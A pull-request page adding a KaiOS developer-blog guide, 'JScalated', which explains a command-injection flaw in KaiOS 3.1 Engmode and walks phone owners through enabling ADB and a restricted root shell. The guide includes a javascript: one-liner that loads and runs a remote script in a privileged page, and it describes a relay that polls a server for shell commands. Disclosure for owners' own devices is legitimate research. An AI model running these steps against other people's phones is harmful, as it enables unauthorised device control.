Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
28 commits
Select commit Hold shift + click to select a range
482dab6
Add files via upload
0theellipsis0-code Jun 21, 2026
4482a95
Delete content/posts/Jscalated.md
0theellipsis0-code Jun 21, 2026
c0397b6
Add files via upload
0theellipsis0-code Jun 21, 2026
419b505
Add files via upload
0theellipsis0-code Jun 21, 2026
66b227f
Add files via upload
0theellipsis0-code Jun 21, 2026
736c6d9
Add files via upload
0theellipsis0-code Jun 21, 2026
31a1d71
Delete content/posts/Jscalated-KaiOS-3.1.md
0theellipsis0-code Jun 21, 2026
99071e5
Add files via upload
0theellipsis0-code Jun 21, 2026
a25c7f4
Delete content/posts/Jscalated-KaiOS-3.1.md
0theellipsis0-code Jun 21, 2026
7a87990
Add files via upload
0theellipsis0-code Jun 21, 2026
7d9eabf
Add files via upload
0theellipsis0-code Jun 21, 2026
b3e777f
Delete static/img/JScalated-Enable-Dev.jpg
0theellipsis0-code Jun 21, 2026
0b3d7be
Add files via upload
0theellipsis0-code Jun 21, 2026
47dd9dc
Delete content/posts/JScalated-Enable-Dev~3.jpg
0theellipsis0-code Jun 21, 2026
a08cc72
Delete static/img/JScalated-Enable-Dev~3.jpg
0theellipsis0-code Jun 21, 2026
e77d419
Add files via upload
0theellipsis0-code Jun 21, 2026
a0aee46
Delete content/posts/Jscalated-KaiOS-3.1.md
0theellipsis0-code Jun 21, 2026
88ddbaa
Add files via upload
0theellipsis0-code Jun 21, 2026
1e3b7a1
Delete content/posts/Jscalated-KaiOS-3.1.md
0theellipsis0-code Jun 21, 2026
897e7a9
Add files via upload
0theellipsis0-code Jun 21, 2026
07c3359
Delete content/posts/Jscalated-KaiOS-3.1.md
0theellipsis0-code Jun 21, 2026
766bf6c
Add files via upload
0theellipsis0-code Jun 21, 2026
f1abbc3
Delete content/posts/Jscalated-KaiOS-3.1.md
0theellipsis0-code Jun 21, 2026
f0428de
Add files via upload
0theellipsis0-code Jun 21, 2026
e2c75f2
Update hugo.toml
Tombarr Jun 24, 2026
dcb0632
Compress images
Tombarr Jun 24, 2026
74c5d54
Update Jscalated-KaiOS-3.1.md
Tombarr Jun 24, 2026
93a3e66
Update Jscalated-KaiOS-3.1.md
Tombarr Jun 25, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
148 changes: 148 additions & 0 deletions content/posts/Jscalated-KaiOS-3.1.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
+++
title = "JScalated: From the browser to ADB on KaiOS 3.1"
author = "Samuel Erwin"
description = "A detailed guide to authorizing ADB on your KaiOS 3.1 phone"
date = 2026-06-20T10:00:00+10:00
lastmod = 2026-06-24T02:30:00-05:00
toc = true
draft = false
header_img = "img/JScalated-Enable-Dev.jpg"
tags = ["Guide", "Security", "KaiOS 3.1", "ADB"]
categories = []
series = ["Advanced Development"]
+++

JScalated exploits a Mozilla web development feature left enabled by the authors of KaiOS. It allows custom JavaScript execution in the context of any currently displayed webpage. For most operating systems, this would not give the user a significant amount of extra control over their device, but KaiOS features a well-known [Engmode API](https://wiki.bananahackers.net/en/development/device-api/EngmodeExtension).

The Engmode API allows apps to talk to the underlying Android operating system. It has become more and more hardened throughout the history of KaiOS. However, a few vulnerabilities have been found in the KaiOS 3.1 Engmode manager making injection trivial. JScalated uses the improperly handled `setPropertyLE` command shown below:

```js
if (Object.keys(this.allowedPropsList)
.includes(propskey)) {
var command =
"setprop " + this.allowedPropsList[propskey] + "\n" + value;
if(DEBUG) {
debug("setPropertyLE: command = " + command);
}
}
```
The `propskey` is allowlisted, but the `value` is passed directly to `/system/bin/sh -c`, allowing commands to be appended with `&` or `;`.

The JScalated exploit is friendly to users who want to enable development tools on their phones, like Android Device Bridge (ADB), and fortunately it is not a vulnerability that has been proven to be exploitable by unauthorized parties. Thus the likelihood of KaiOS patching it is low.

## Summary

The exploit uses the `javascript:` URL scheme, which is a quick and popular method for testing websites using script injection. This is handled similarly to the `about:` and `data:` schemes. It is a built-in Mozilla feature that can be called simply by typing `javascript:` into the address bar. Its default domain (when run without a page) is `about:blank` which does not run with any KaiOS API permissions.

The tool that will be loaded has a wide set of capabilities, more will be added as it is a work in progress. For those who want to debug-enable their devices and achieve more control, access, and debugging over their phones, please follow the guide below.

## Instructions

1. Connect your phone to the internet. When you type the JavaScript commands below, ensure you can connect to `https://jscalated.netlify.app` beforehand. They will fail if there is no connection.

2. Navigate to your KaiOS 3.1 phone web browser. Go to `system.localhost/proxy.js` (or any file in that domain). If you do not know how to navigate to a website address then you should not be following this guide.

3. Once you have navigated to `system.localhost/proxy.js`, open the address bar (without navigating away!) and type:

```js
javascript:s=document.createElement('script')
```

You should see:

```
[object HTMLScriptElement]
```

4. Type the following JavaScript command to initiate the tool:

```js
javascript:(function(){var s=document.createElement('script');s.src='https://jscalated.netlify.app/adb.js';document.body.appendChild(s)})()
```

This creates a script element with the source [https://jscalated.netlify.app/adb.js](https://jscalated.netlify.app/adb.js). [adb.js](https://gist.github.com/Tombarr/d3572d27a57eb67e43d929d345c137fc) is available as a [GitHub Gist](https://gist.github.com/Tombarr/d3572d27a57eb67e43d929d345c137fc), pulled 6/24/26.

## The Tool and Its Features

As of now, it has four capabilities. Firstly it has the ability to start a relay that pings a local (or remote) server for shell commands. The server and its usage instructions can be found at [kaios-agent.netlify.app](https://kaios-agent.netlify.app). It can also enable ADB on any KaiOS 3.1 phone as long as the phone's `/data/misc/` directory and its sub-directories are B2G-accessible (most KaiOS SELinux policies should allow it). The third feature is disabling preinstalled apps. The important apps are protected from being disabled by JScalated, although it is possible to modify them using the third feature which is a B2G root shell restricted by SELinux.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It could be "It's second feature, will enable ADB on any KaiOS 3.1 phone...using the fourth feature which is a B2G root shell restricted by SELinux.


![JScalated Tool Javascript Picture](/img/JScalated-Tool.png "JScalated adb.js")

### JSEscalated Use

```sh
unlink /data/local/webapps/vroot/*App-Name*
mkdir /data/local/webapps/installed/*App-Name*
cp /path/to/modded/application.zip /data/local/webapps/installed/*App-Name*/application.zip
cp /path/to/modded/manifest.webmanifest /data/local/webapps/installed/*App-Name*/manifest.webmanifest
ln -s /data/local/webapps/installed/*App-Name* /data/local/webapps/vroot/*App-Name*
```

**Advanced information regarding the exploit primitive:**

JScalated provides three easily accessible SELinux domains:

* `B2G`
* `Api-daemon`
* `Shell`

The logmanager domain is also partially accessible by corrupting the properties fed into their init binaries. One example is the Qualcomm-specific binary in `/system/bin/lmqxdmservice`:

```bash
function lmqxdmservice(){
PATH_base=$(getprop persist.sys.kaiosqxdm.path)
if [ ! "$PATH_base" == "" ] ; then
chmod -R 777 ${PATH_base%/*}
fi
if [ "$(getprop persist.sys.kaiosqxdm.enable)" == "1" ] ; then
if [ "$(getprop persist.sys.autolog.enable)" == "1" ] ; then
startlmqxdmservice2
else
startlmqxdmservice
fi
fi
```
However, the logmanager domain has only the same capabilities as B2G.

Init makes use of a lot of properties that are accessible to B2G but injecting into that domain is still being researched.

### Coming Soon...

As of the day of authorship, it has been discovered that the firefox-debugger socket is indeed accessible on KaiOS 3.1 phones. This discovery has effectively made the KaiOS 3.1 development landscape nearly identical to that of KaiOS 2.5. However, root access is yet to be universally achieved. The feature will be added to the tool soon as a one-click button, but the overall process is described below:

Place a user.js file in: `/data/b2g/mozilla/<Profile>.default/user.js`

The contents could be something like:

```js
user_pref("devtools.remote.usb.enabled", true);
user_pref("devtools.debugger.remote-enabled", true);
user_pref("devtools.debugger.unix-domain-socket", "/data/local/firefox-debugger-socket");
```

Then try (where `f5b2oed3` is your unique profile ID):

```sh
chmod 600 /data/b2g/mozilla/f5b2oed3.default/user.js
setprop ctl.restart b2g
```

And with ADB:

```sh
adb forward tcp:6000 localfilesystem:/data/local/firefox-debugger-socket
```

**Use of the debugger socket**

Install a supported version of [Firefox](https://www.firefox.com/), [Pale Moon](https://www.palemoon.org/), or [Waterfox Classic](https://classic.waterfox.net/) with WebIDE.

Open Firefox and click the menu at the top of the application. Look for the developer section and click WebIDE in the drop-down. The exact instructions differ for every build.

More information regarding use of the debugger socket can be found at [Banana Hackers](https://sites.google.com/view/bananahackers/development/webide).

Overall the development of this tool took about a year of research with some background knowledge and a failed attempt to hack the [Nokia 2760 Flip](https://amzn.to/4bRI8k9). It will be updated and maintained as long as possible. Enjoy and use responsibly!

## Contributions

This article is the work of [Samuel Erwin](https://github.com/0theellipsis0-code) provided on [GitHub](https://github.com/Tombarr/kaios-dev-blog/pull/3) to inform the KaiOS developer community of exploits and methods to access
4 changes: 2 additions & 2 deletions hugo.toml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
baseURL = "https://kaios.dev"
languageCode = "en-us"
locale = "en-us"
title = "KaiOS.dev"

theme = "puppet"
Expand Down Expand Up @@ -76,7 +76,7 @@ refLinksErrorLevel = "WARNING"
[minify.tdewolff]
[minify.tdewolff.html]
keepComments = false
keepConditionalComments = true
keepSpecialComments = true
keepDefaultAttrVals = true
keepDocumentTags = true
keepEndTags = true
Expand Down
Binary file added static/img/JScalated-Enable-Dev.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added static/img/JScalated-Tool.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading